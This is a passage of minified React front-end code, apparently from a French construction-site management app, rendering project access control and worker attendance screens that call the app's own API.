Vv(){const{projectId:u}=nt(),c=Number(u),{token:f,can:r}=De(),{setActiveProjectId:d}=ft(),[p,y]=m.useState([]),[v,g]=m.useState([]),[x,S]=m.useState(&quot;&quot;),[b,A]=m.useState(&quot;&quot;),[V,R]=m.useState(null),[U,D]=m.useState(!0),[G,$]=m.useState(!1),F=r(&quot;users.view&quot;);m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!r(&quot;projects.manage&quot;)){D(!1);return}d(c);let H=!1;return(async()=&gt;{try{const W=await ie(`/api/v1/projects/${c}/access?per_page=100`,{method:&quot;GET&quot;,token:f});if(H||y(W.data),F){const Z=await ie(&quot;/api/v1/users?per_page=200&quot;,{method:&quot;GET&quot;,token:f});H||g(Z.data)}}catch(W){H||R(W instanceof ge?W.message:&quot;Erreur&quot;)}finally{H||D(!1)}})(),()=&gt;{H=!0}},[c,f,r,F,d]);const I=m.useMemo(()=&gt;new Set(p.map(H=&gt;H.user_id)),[p]),ee=m.useMemo(()=&gt;v.filter(H=&gt;!I.has(H.id)),[v,I]),K=F?ee.length&gt;0:!0;async function q(H){if(H.preventDefault(),!(!f||!x)){R(null),$(!0);try{await ie(`/api/v1/projects/${c}/access`,{method:&quot;POST&quot;,token:f,body:JSON.stringify({user_id:Number(x),access_role:b||null})});const W=await ie(`/api/v1/projects/${c}/access?per_page=100`,{method:&quot;GET&quot;,token:f});y(W.data),S(&quot;&quot;),A(&quot;&quot;)}catch(W){R(W instanceof ge?W.message:&quot;Ajout impossible&quot;)}finally{$(!1)}}}async function J(H){if(!(!f||!window.confirm(&quot;Retirer cet accès ?&quot;))){R(null);try{await ie(`/api/v1/projects/${c}/access/${H.id}`,{method:&quot;DELETE&quot;,token:f}),y(W=&gt;W.filter(Z=&gt;Z.id!==H.id))}catch(W){R(W instanceof ge?W.message:&quot;Suppression impossible&quot;)}}}return r(&quot;projects.manage&quot;)?Number.isFinite(c)?U?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[s.jsx(le,{backTo:`/projects/${c}`,title:&quot;Accès utilisateurs&quot;}),V?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:V}):null,K?s.jsxs(&quot;form&quot;,{onSubmit:H=&gt;void q(H),className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/30 p-4&quot;,children:[s.jsx(&quot;h2&quot;,{className:&quot;text-xs font-semibold uppercase tracking-wide text-stone-500&quot;,children:&quot;Ajouter&quot;}),F?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;pa-user&quot;,className:fe,children:&quot;Utilisateur&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;pa-user&quot;,className:oe,value:x,onChange:H=&gt;S(H.target.value),required:!0,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),ee.map(H=&gt;s.jsxs(&quot;option&quot;,{value:H.id,children:[H.full_name,&quot; (&quot;,Ci(H.role),&quot;)&quot;]},H.id))]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;pa-user-id&quot;,className:fe,children:&quot;ID utilisateur (sans liste annuaire MVP)&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pa-user-id&quot;,type:&quot;number&quot;,min:1,className:oe,value:x,onChange:H=&gt;S(H.target.value),required:!0}),s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-[11px] text-stone-600&quot;,children:&quot;Seul l’entrepreneur admin peut lister les comptes ; les autres rôles saisissent l’identifiant numérique.&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;pa-role&quot;,className:fe,children:&quot;Rôle d’accès (optionnel)&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pa-role&quot;,className:oe,value:b,onChange:H=&gt;A(H.target.value),placeholder:&quot;ex. lecteur&quot;})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:G,className:Ot,children:G?&quot;Ajout…&quot;:&quot;Ajouter l’accès&quot;})]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Tous les utilisateurs listables ont déjà un accès sur ce chantier.&quot;}),s.jsxs(&quot;section&quot;,{children:[s.jsx(&quot;h2&quot;,{className:&quot;text-xs font-semibold uppercase tracking-wide text-stone-500&quot;,children:&quot;Accès actuels&quot;}),s.jsx(&quot;ul&quot;,{className:&quot;mt-2 space-y-2&quot;,children:p.map(H=&gt;{var W,Z;return s.jsxs(&quot;li&quot;,{className:&quot;flex items-start justify-between gap-2 rounded-xl border border-stone-800 bg-stone-900/40 px-3 py-2 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;p&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((W=H.user)==null?void 0:W.full_name)??`Utilisateur #${H.user_id}`}),s.jsxs(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:[((Z=H.user)==null?void 0:Z.email)??&quot;&quot;,&quot; · &quot;,H.access_role??&quot;rôle libre&quot;]})]}),s.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;void J(H),className:&quot;shrink-0 text-xs text-red-400 hover:text-red-300&quot;,children:&quot;Retirer&quot;})]},H.id)})}),p.length===0?s.jsx(&quot;p&quot;,{className:&quot;mt-2 text-sm text-stone-500&quot;,children:&quot;Aucun accès explicite.&quot;}):null]}),s.jsx(je,{to:`/projects/${c}`,className:&quot;text-xs text-amber-500 hover:text-amber-400&quot;,children:&quot;← Fiche chantier&quot;})]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Accès chantier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils pouvant gérer le projet.&quot;})]})}function Zv(u){return{present:&quot;Présent&quot;,absent:&quot;Absent&quot;,half_day:&quot;Demi-journée&quot;,validated:&quot;Validé&quot;}[u]??u}function Jv(u){return u===&quot;chef_chantier&quot;||u===&quot;entrepreneur_admin&quot;}function Kv(){var F,I,ee;const{attendanceId:u}=nt(),c=Number(u),{token:f,user:r,can:d}=De(),{activeProject:p,setActiveProjectId:y}=ft(),[v,g]=m.useState(null),[x,S]=m.useState(null),[b,A]=m.useState(!0),[V,R]=m.useState(!1),U=d(&quot;attendances.manage&quot;),D=d(&quot;attendances.view&quot;)&amp;&amp;!U,G=U&amp;&amp;Jv(r==null?void 0:r.role)&amp;&amp;v&amp;&amp;v.status!==&quot;validated&quot;;m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!d(&quot;attendances.view&quot;)){A(!1);return}let K=!1;return(async()=&gt;{try{const q=await ie(`/api/v1/attendances/${c}`,{method:&quot;GET&quot;,token:f});K||(g(q.data),y(q.data.project_id))}catch(q){K||S(q instanceof ge?q.message:&quot;Erreur&quot;)}finally{K||A(!1)}})(),()=&gt;{K=!0}},[c,f,d,y]);async function $(){if(!(!f||!v)){R(!0),S(null);try{const K=await ie(`/api/v1/attendances/${v.id}/validate`,{method:&quot;POST&quot;,token:f,body:JSON.stringify({})});g(K.data)}catch(K){S(K instanceof ge?K.message:&quot;Validation impossible&quot;)}finally{R(!1)}}}return d(&quot;attendances.view&quot;)?Number.isFinite(c)?b?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):x&amp;&amp;!v?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/attendances&quot;,title:&quot;Présence&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x})]}):v?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/attendances&quot;,title:&quot;Présence&quot;,subtitle:p&amp;&amp;p.id===v.project_id?p.name:`Projet #${v.project_id}`}),x?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x}):null,s.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/40 p-4 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrier&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-base font-medium text-stone-100&quot;,children:((F=v.worker)==null?void 0:F.display_name)??`#${v.worker_id}`})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Date&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:v.date})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:Zv(v.status)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Heures&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:v.hours_worked??&quot;—&quot;})]}),v.comment?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Commentaire&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 whitespace-pre-wrap text-stone-300&quot;,children:v.comment})]}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Saisi par (user)&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((I=v.created_by)==null?void 0:I.full_name)??`#${v.created_by_user_id}`})]}),v.validated_by_user_id?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Validé par&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((ee=v.validated_by)==null?void 0:ee.full_name)??`#${v.validated_by_user_id}`})]}):null]}),D?s.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule (financier / consultatif).&quot;}):null,s.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2&quot;,children:[U&amp;&amp;v.status!==&quot;validated&quot;?s.jsx(je,{to:`/attendances/${v.id}/edit`,className:ml,children:&quot;Modifier&quot;}):null,G?s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:V,onClick:()=&gt;void $(),className:Ot,children:V?&quot;Validation…&quot;:&quot;Valider la présence&quot;}):null]})]}):null:s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Présence&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function $v(){const u=new Date,c=u.getFullYear(),f=String(u.getMonth()+1).padStart(2,&quot;0&quot;),r=String(u.getDate()).padStart(2,&quot;0&quot;);return`${c}-${f}-${r}`}function Fv(u){return u===&quot;chef_chantier&quot;||u===&quot;entrepreneur_admin&quot;}function qm(){const{attendanceId:u}=nt(),c=u?Number(u):null,f=Number.isFinite(c),r=Ft(),{token:d,user:p,can:y}=De(),{activeProjectId:v,activeProject:g}=ft(),x=v,S=y(&quot;attendances.manage&quot;),b=S&amp;&amp;Fv(p==null?void 0:p.role),[A,V]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[D,G]=m.useState($v),[$,F]=m.useState(&quot;present&quot;),[I,ee]=m.useState(&quot;&quot;),[K,q]=m.useState(&quot;&quot;),[J,H]=m.useState({}),[W,Z]=m.useState(null),[B,ae]=m.useState(!1),[P,ne]=m.useState(f),[w,k]=m.useState([]),[se,pe]=m.useState([]),ze=g==null?void 0:g.name;m.useEffect(()=&gt;{if(!d||!x)return;let Y=!1;return(async()=&gt;{try{const[te,re]=await Promise.all([ie(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:d}),ie(`/api/v1/projects/${x}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:d})]);Y||(k(te.data),pe(re.data))}catch{Y||(k([]),pe([]))}})(),()=&gt;{Y=!0}},[d,x]),m.useEffect(()=&gt;{if(!f||!d||c===null||!Number.isFinite(c)){ne(!1);return}let Y=!1;return(async()=&gt;{try{const te=await ie(`/api/v1/attendances/${c}`,{method:&quot;GET&quot;,token:d});if(!Y){const re=te.data;V(String(re.worker_id)),U(re.team_id?String(re.team_id):&quot;&quot;),G(re.date.slice(0,10)),F(re.status),ee(re.hours_worked??&quot;&quot;),q(re.comment??&quot;&quot;)}}catch(te){Y||Z(te instanceof ge?te.message:&quot;Chargement impossible&quot;)}finally{Y||ne(!1)}})(),()=&gt;{Y=!0}},[f,c,d]);const E=m.useMemo(()=&gt;{const Y=[{value:&quot;present&quot;,label:&quot;Présent&quot;},{value:&quot;absent&quot;,label:&quot;Absent&quot;},{value:&quot;half_day&quot;,label:&quot;Demi-journée&quot;}];return f&amp;&amp;b?[...Y,{value:&quot;validated&quot;,label:&quot;Validé (management)&quot;}]:Y},[f,b]);async function Q(Y){if(Y.preventDefault(),!d||!x)return;Z(null),H({}),ae(!0);const re={worker_id:Number(A),team_id:R===&quot;&quot;?null:Number(R),date:D,status:$,hours_worked:I===&quot;&quot;?null:Number(I),comment:K===&quot;&quot;?null:K};try{if(f&amp;&amp;c!==null)await ie(`/api/v1/attendances/${c}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify(re)}),r(`/attendances/${c}`);else{const{status:xe,...Se}=re,Fe={...Se,status:xe};await ie(`/api/v1/projects/${x}/attendances`,{method:&quot;POST&quot;,token:d,body:JSON.stringify(Fe)}),r(&quot;/attendances&quot;)}}catch(xe){if(xe instanceof ge){Z(xe.message);const Se=mr(xe.body);Se&amp;&amp;H(Se)}else Z(&quot;Enregistrement impossible&quot;)}finally{ae(!1)}}return y(&quot;attendances.view&quot;)?S?x===null?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Présence&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Sélectionnez un chantier actif.&quot;})]}):P?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:f?`/attendances/${c}`:&quot;/attendances&quot;,title:f?&quot;Modifier la présence&quot;:&quot;Nouvelle présence&quot;,subtitle:ze}),s.jsxs(&quot;form&quot;,{onSubmit:Y=&gt;void Q(Y),className:&quot;space-y-4&quot;,children:[W?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:W}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;att-worker&quot;,children:&quot;Ouvrier&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;att-worker&quot;,required:!0,value:A,onChange:Y=&gt;V(Y.target.value),className:oe,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),w.map(Y=&gt;s.jsx(&quot;option&quot;,{value:Y.id,children:Y.display_name},Y.id))]}),J.worker_id?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:J.worker_id}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;att-team&quot;,children:&quot;Équipe (optionnel)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;att-team&quot;,value:R,onChange:Y=&gt;U(Y.target.value),className:oe,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),se.map(Y=&gt;s.jsx(&quot;option&quot;,{value:Y.id,children:Y.name},Y.id))]}),J.team_id?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:J.team_id}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;att-date&quot;,children:&quot;Date&quot;}),s.jsx(&quot;input&quot;,{id:&quot;att-date&quot;,type:&quot;date&quot;,required:!0,value:D,onChange:Y=&gt;G(Y.target.value),className:oe}),J.date?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:J.date}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;att-status&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{id:&quot;att-status&quot;,value:$,onChange:Y=&gt;F(Y.target.value),className:oe,children:E.map(Y=&gt;s.jsx(&quot;option&quot;,{value:Y.value,children:Y.label},Y.value))}),J.status?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:J.status}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;att-hours&quot;,children:&quot;Heures travaillées&quot;}),s.jsx(&quot;input&quot;,{id:&quot;att-hours&quot;,type:&quot;number&quot;,step:&quot;0.25&quot;,min:0,max:24,value:I,onChange:Y=&gt;ee(Y.target.value),className:oe,placeholder:&quot;ex. 8&quot;}),J.hours_worked?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:J.hours_worked}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:fe,htmlFor:&quot;att-comment&quot;,children:&quot;Commentaire&quot;}),s.jsx(&quot;textarea&quot;,{id:&quot;att-comment&quot;,value:K,onChange:Y=&gt;q(Y.target.value),rows:3,className:oe})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:B,className:Ot,children:B?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Présence&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Lecture seule — pas d’édition (attendances.manage).&quot;})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Présence&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Wv(){const u=new Date,c=u.getFullYear(),f=String(u.getMonth()+1).padStart(2,&quot;0&quot;),r=String(u.getDate()).padStart(2,&quot;0&quot;);return`${c}-${f}-${r}`}function Iv(u,c){if(u.status!==&quot;planned&quot;&amp;&amp;u.status!==&quot;active&quot;)return!1;const f=c.slice(0,10),r=u.start_date?u.start_date.slice(0,10):null,d=u.end_date?u.end_date.slice(0,10):null;return!(r&amp;&amp;r&gt;f||d&amp;&amp;d&lt;f)}function Pv(){const{token:u,user:c,can:f}=De(),{activeProjectId:r,activeProject:d}=ft(),p=r,y=f(&quot;attendances.manage&quot;),[v,g]=m.useState(Wv),[x,S]=m.useState([]),[b,A]=m.useState([]),[V,R]=m.useState(null),[U,D]=m.useState(!0),[G,$]=m.useState(null),F=m.useCallback(async()=&gt;{if(!u||!p||!f(&quot;attendances.view&quot;)){D(!1);return}D(!0),R(null);try{const[K,q]=await Promise.all([ie(`/api/v1/projects/${p}/worker-assignments?per_page=200&amp;sort=-created_at`,{method:&quot;GET&quot;,token:u}),ie(`/api/v1/projects/${p}/attendances?date=${encodeURIComponent(v)}&amp;per_page=200`,{method:&quot;GET&quot;,token:u})]);S(K.data),A(q.data)}catch(K){R(K instanceof ge?K.message:&quot;Erreur&quot;),S([]),A([])}finally{D(!1)}},[u,p,f,v]);m.useEffect(()=&gt;{F()},[F]);const I=m.useMemo(()=&gt;{var H,W,Z;const K=new Map;for(const B of x){if(!Iv(B,v))continue;const ae=K.get(B.worker_id);(!ae||(H=B.worker)!=null&amp;&amp;H.display_name&amp;&amp;!((W=ae.worker)!=null&amp;&amp;W.display_name))&amp;&amp;K.set(B.worker_id,B)}const q=new Map;for(const B of b)q.set(B.worker_id,B);const J=[];for(const[B,ae]of K)J.push({workerId:B,displayName:((Z=ae.worker)==null?void 0:Z.display_name)??`Ouvrier #${B}`,attendance:q.get(B)??null});return J.sort((B,ae)=&gt;B.displayName.localeCompare(ae.displayName,&quot;fr&quot;)),J},[x,b,v]);async function ee(K,q){var H,W;if(!u||!p||!y)return;$(K.workerId),R(null);const J={worker_id:K.workerId,date:v,status:q,team_id:null,hours_worked:q===&quot;absent&quot;?null:((H=K.attendance)==null?void 0:H.hours_worked)??(q===&quot;half_day&quot;?&quot;4&quot;:&quot;8&quot;),comment:((W=K.attendance)==null?void 0:W.comment)??null};try{K.attendance?await ie(`/api/v1/attendances/${K.attendance.id}`,{method:&quot;PATCH&quot;,token:u,body:JSON.stringify(J)}):await ie(`/api/v1/projects/${p}/attendances`,{method:&quot;POST&quot;,token:u,body:JSON.stringify(J)}),await F()}catch(Z){R(Z instanceof ge?Z.message:&quot;Enregistrement impossible&quot;)}finally{$(null)}}return f(&quot;attendances.view&quot;)?p===null?s.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[s.jsx(le,{title:&quot;Saisie rapide&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Choisissez un chantier actif.&quot;}),s.jsx(je,{to:&quot;/projects&quot;,className:bt,children:&quot;Chantiers&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/attendances&quot;,title:&quot;Saisie rapide&quot;,subtitle:d?d.name:void 0}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Date&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:v,onChange:K=&gt;g(K.target.value),disabled:!y,className:&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-950 px-4 py-3 text-base text-stone-100&quot;})]}),V?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:V}):null,U?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,y?null:s.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule — saisie réservée aux profils avec attendances.manage.&quot;}),!U&amp;&amp;I.length===0?s.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-dashed border-stone-700 px-4 py-8 text-center text-sm text-stone-500&quot;,children:&quot;Aucun ouvrier affecté à ce chantier à cette date.&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-3&quot;,children:I.map(K=&gt;{var H;const q=(H=K.attendance)==null?void 0:H.status,J=G===K.workerId;return s.jsxs(&quot;li&quot;,{className:&quot;rounded-xl border border-stone-800 bg-stone-900/40 p-4&quot;,children:[s.jsx(&quot;p&quot;,{className:&quot;text-base font-semibold text-stone-100&quot;,children:K.displayName}),K.attendance?s.jsxs(&quot;p&quot;,{className:&quot;mt-1 text-xs text-stone-500&quot;,children:[&quot;Actuel : &quot;,q,K.attendance.hours_worked?` · ${K.attendance.hours_worked} h`:&quot;&quot;]}):s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-amber-600/80&quot;,children:&quot;Pas encore saisi&quot;}),y?s.jsx(&quot;div&quot;,{className:&quot;mt-3 grid grid-cols-3 gap-2&quot;,children:[[&quot;present&quot;,&quot;Présent&quot;],[&quot;half_day&quot;,&quot;½ jour&quot;],[&quot;absent&quot;,&quot;Absent&quot;]].map(([W,Z])=&gt;s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:J||q===&quot;validated&quot;,onClick:()=&gt;void ee(K,W),className:[&quot;rounded-lg py-3 text-sm font-semibold transition&quot;,q===W?&quot;bg-amber-600 text-stone-950&quot;:&quot;border border-stone-600 bg-stone-950 text-stone-200 hover:border-amber-700&quot;,J||q===&quot;validated&quot;?&quot;opacity-50&quot;:&quot;&quot;].join(&quot; &quot;),children:J?&quot;…&quot;:Z},W))}):null,K.attendance&amp;&amp;y&amp;&amp;q!==&quot;validated&quot;?s.jsx(je,{to:`/attendances/${K.attendance.id}/edit`,className:&quot;mt-3 block text-center text-xs text-amber-500/90 underline-offset-2 hover:underline&quot;,children:&quot;Détail / heures précises&quot;}):null]},K.workerId)})}),(c==null?void 0:c.role)===&quot;contremaitre_technicien&quot;?s.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-600&quot;,children:&quot;La validation management (statut « validé ») se fait depuis le détail de la ligne par un chef ou un entrepreneur.&quot;}):null]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/attendances&quot;,title:&quot;Saisie rapide&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}const ih=[{value:&quot;&quot;,label:&quot;Tous&quot;},{value:&quot;present&quot;,label:&quot;Présent&quot;},{value:&quot;absent&quot;,label:&quot;Absent&quot;},{value:&quot;half_day&quot;,label:&quot;Demi-journée&quot;},{value:&quot;validated&quot;,label:&quot;Validé&quot;}];function ey(u){var c;return((c=ih.find(f=&gt;f.value===u))==null?void 0:c.label)??u}function ty(){const{token:u,can:c}=De(),{activeProjectId:f,activeProject:r}=ft(),d=f,p=c(&quot;attendances.manage&quot;),[y,v]=m.useState([]),[g,x]=m.useState(null),[S,b]=m.useState(!0),[A,V]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[D,G]=m.useState(&quot;&quot;),[$,F]=m.useState(&quot;&quot;),[I,ee]=m.useState(&quot;&quot;),[K,q]=m.useState(&quot;&quot;),[J,H]=m.useState([]),[W,Z]=m.useState([]),B=m.useCallback(async()=&gt;{if(!u||!d||!c(&quot;attendances.view&quot;)){b(!1);return}b(!0),x(null);const P=new URLSearchParams;P.set(&quot;per_page&quot;,&quot;100&quot;),P.set(&quot;sort&quot;,&quot;-date&quot;),A?P.set(&quot;date&quot;,A):(R&amp;&amp;P.set(&quot;from&quot;,R),D&amp;&amp;P.set(&quot;to&quot;,D)),$&amp;&amp;P.set(&quot;worker_id&quot;,$),I&amp;&amp;P.set(&quot;team_id&quot;,I),K&amp;&amp;P.set(&quot;status&quot;,K);try{const ne=await ie(`/api/v1/projects/${d}/attendances?${P.toString()}`,{method:&quot;GET&quot;,token:u});v(ne.data)}catch(ne){x(ne instanceof ge?ne.message:&quot;Erreur de chargement&quot;),v([])}finally{b(!1)}},[u,d,c,A,R,D,$,I,K]);m.useEffect(()=&gt;{B()},[B]),m.useEffect(()=&gt;{if(!u||!d)return;let P=!1;return(async()=&gt;{try{const[ne,w]=await Promise.all([ie(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:u}),ie(`/api/v1/projects/${d}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:u})]);P||(H(ne.data),Z(w.data))}catch{P||(H([]),Z([]))}})(),()=&gt;{P=!0}},[u,d]);const ae=m.useMemo(()=&gt;r?`${r.name}${r.code?` (${r.code})`:&quot;&quot;}`:null,[r]);return c(&quot;attendances.view&quot;)?d===null||!Number.isFinite(d)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[s.jsx(le,{title:&quot;Présences&quot;}),s.jsxs(&quot;p&quot;,{className:&quot;rounded-xl border border-stone-800 bg-stone-900/40 px-4 py-6 text-center text-sm text-stone-400&quot;,children:[&quot;Sélectionnez un &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-200&quot;,children:&quot;chantier actif&quot;}),&quot; dans l’en-tête pour afficher les présences.&quot;]}),s.jsx(je,{to:&quot;/projects&quot;,className:bt,children:&quot;Liste des chantiers&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{title:&quot;Présences&quot;,subtitle:ae??void 0}),s.jsx(&quot;div&quot;,{className:&quot;flex flex-col gap-2 sm:flex-row sm:flex-wrap&quot;,children:p?s.jsxs(s.Fragment,{children:[s.jsx(je,{to:&quot;/attendances/saisie&quot;,className:&quot;block flex-1 rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Saisie rapide&quot;}),s.jsx(je,{to:&quot;/attendances/new&quot;,className:&quot;block flex-1 rounded-xl border border-stone-600 py-3 text-center text-sm font-medium text-stone-200 hover:bg-stone-900&quot;,children:&quot;+ Ligne&quot;})]}):null}),s.jsxs(&quot;section&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/30 p-3&quot;,children:[s.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Filtres&quot;}),s.jsxs(&quot;div&quot;,{className:&quot;grid gap-3&quot;,children:[s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Jour exact&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:A,onChange:P=&gt;{V(P.target.value),U(&quot;&quot;),G(&quot;&quot;)},className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 